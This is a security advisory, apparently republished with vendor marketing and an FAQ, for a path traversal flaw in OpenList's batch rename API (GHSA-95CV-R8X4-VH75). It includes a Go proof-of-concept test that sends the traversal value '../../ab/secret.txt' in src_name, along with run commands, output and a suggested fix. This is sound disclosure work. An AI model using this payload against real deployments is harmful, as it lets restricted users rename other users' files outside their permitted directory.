Summary
OpenList: Authenticated users can rename files outside their base path via batch rename src_name traversal
The /api/fs/batch_rename handler validates and authorizes only the requested source directory. It rejects path separators in new_name, but it does not validate src_name. The handler concatenates src_dir and attacker-controlled src_name, then passes the result to the filesystem rename layer, where the path is normalized.
An authenticated user with rename permission can set src_name to traversal segments such as ../../ab/secret.txt. When the user's base path is /team/a and src_dir is /writable, the authorized directory becomes /team/a/writable, but the final source path normalizes to /team/ab/secret.txt. The file outside the user's base path is then renamed.
Details
The HTTP API registers filesystem management routes under the authenticated group:
server/router.go:104registers_fs(auth.Group("/fs")).server/router.go:198throughserver/router.go:205expose/api/fs/batch_rename.
The vulnerable code is in server/handles/fsbatch.go:
src_diris constrained throughuser.JoinPath(req.SrcDir)(server/handles/fsbatch.go:170throughserver/handles/fsbatch.go:174).- Write permission is checked only for that constrained directory (
server/handles/fsbatch.go:176throughserver/handles/fsbatch.go:185). - The loop checks
renameObject.NewNamewithcheckRelativePath, but does not checkrenameObject.SrcName(server/handles/fsbatch.go:186throughserver/handles/fsbatch.go:194). - The handler builds
filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName)and passes it tofs.Rename(server/handles/fsbatch.go:195throughserver/handles/fsbatch.go:196).
The single-file rename path shows the intended pattern: checkRelativePath(req.Name) rejects separators, empty strings, ., and .. before renaming (server/handles/fsmanage.go:284 through server/handles/fsmanage.go:333). Batch rename applies this protection to the destination name only, not to the source name.
Lower layers normalize the source path before operating on it:
utils.FixAndCleanPathreplaces backslashes with slashes, forces an absolute slash prefix, and callspath.Clean(pkg/utils/path.go:18throughpkg/utils/path.go:24).JoinBasePathrejects traversal in the originalsrc_dir, not in the later concatenatedsrc_name(pkg/utils/path.go:80throughpkg/utils/path.go:87).
False-positive checks performed:
- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.
- The handler successfully authorized
/team/a/writable, then renamed/team/ab/secret.txt, proving that the later source path escaped the authorized directory. new_namevalidation remained in effect; the exploit uses traversal only insrc_name.- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.
PoC
Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.
Add this temporary test under server/handles/security_poc_test.go in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.
package handles
import (
"bytes"
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
_ "github.com/OpenListTeam/OpenList/v4/drivers/local"
"github.com/OpenListTeam/OpenList/v4/internal/conf"
"github.com/OpenListTeam/OpenList/v4/internal/db"
"github.com/OpenListTeam/OpenList/v4/internal/model"
"github.com/OpenListTeam/OpenList/v4/internal/op"
"github.com/OpenListTeam/OpenList/v4/pkg/utils"
"github.com/gin-gonic/gin"
"github.com/glebarez/sqlite"
"gorm.io/gorm"
)
func setupSecurityPoCTest(t *testing.T, root string) *model.User {
t.Helper()
database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
if err != nil {
t.Fatal(err)
}
conf.Conf = conf.DefaultConfig(t.TempDir())
db.Init(database)
addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
if err != nil {
t.Fatal(err)
}
_, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition})
if err != nil {
t.Fatal(err)
}
user := &model.User{
Username: "alice",
BasePath: "/team/a",
Role: model.GENERAL,
Permission: 1<<4 | 1<<14,
}
if err := db.CreateUser(user); err != nil {
t.Fatal(err)
}
return user
}
func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {
t.Helper()
payload, err := json.Marshal(body)
if err != nil {
t.Fatal(err)
}
recorder := httptest.NewRecorder()
ctx, _ := gin.CreateTestContext(recorder)
req := httptest.NewRequest(method, target, bytes.NewReader(payload))
req.Header.Set("Content-Type", "application/json")
req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
ctx.Request = req
return ctx, recorder
}
func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
gin.SetMode(gin.TestMode)
root := t.TempDir()
if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
t.Fatal(err)
}
secretPath := filepath.Join(root, "team", "ab", "secret.txt")
if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
t.Fatal(err)
}
user := setupSecurityPoCTest(t, root)
ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
"src_dir": "/writable",
"rename_objects": []gin.H{{
"src_name": "../../ab/secret.txt",
"new_name": "renamed.txt",
}},
}, user)
FsBatchRename(ctx)
if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
}
if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
}
renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
got, err := os.ReadFile(renamedPath)
if err != nil {
t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
}
if string(got) != "secret" {
t.Fatalf("unexpected renamed file contents: %q", got)
}
}
Run:
go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v
Observed vulnerable output in this environment:
=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok github.com/OpenListTeam/OpenList/v4/server/handles
Combined final confirmation command used during the audit:
go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v
Observed combined output:
=== RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase
--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)
=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok github.com/OpenListTeam/OpenList/v4/server/handles (cached)
Negative/control cases checked:
src_dirtraversal is rejected byuser.JoinPathbecauseJoinBasePathdetects relative traversal in the original request path.new_nametraversal is rejected bycheckRelativePathbecause it contains/,\\,., or..patterns.- The exploit succeeds because
src_nameis not passed through the same relative filename check before concatenation.
Cleanup:
rm server/handles/security_poc_test.go
Suggested remediation
Validate renameObject.SrcName with the same relative filename constraints already applied to renameObject.NewName, or derive source objects only from a trusted directory listing of reqPath.
A minimal fix is to call checkRelativePath(renameObject.SrcName) before constructing filePath. Add regression tests covering:
src_name: "file.txt"succeeds;src_name: "../secret.txt"is denied;src_name: "../../ab/secret.txt"is denied when base path is/team/aandsrc_diris/writable;new_nametraversal remains denied.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Impact
A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to /team/a can rename a guessed sibling file such as /team/ab/secret.txt to /team/ab/renamed.txt by submitting traversal segments in src_name.
This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-95CV-R8X4-VH75 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-95CV-R8X4-VH75? GHSA-95CV-R8X4-VH75 is a high-severity path traversal vulnerability in github.com/OpenListTeam/OpenList/v4 (go), affecting versions <= 4.2.3. It is fixed in 4.2.4. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-95CV-R8X4-VH75? GHSA-95CV-R8X4-VH75 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/OpenListTeam/OpenList/v4 are affected by GHSA-95CV-R8X4-VH75? github.com/OpenListTeam/OpenList/v4 (go) versions <= 4.2.3 is affected.
- Is there a fix for GHSA-95CV-R8X4-VH75? Yes. GHSA-95CV-R8X4-VH75 is fixed in 4.2.4. Upgrade to this version or later.
- Is GHSA-95CV-R8X4-VH75 exploitable, and should I be worried? Whether GHSA-95CV-R8X4-VH75 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-95CV-R8X4-VH75 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-95CV-R8X4-VH75? Upgrade
github.com/OpenListTeam/OpenList/v4to 4.2.4 or later.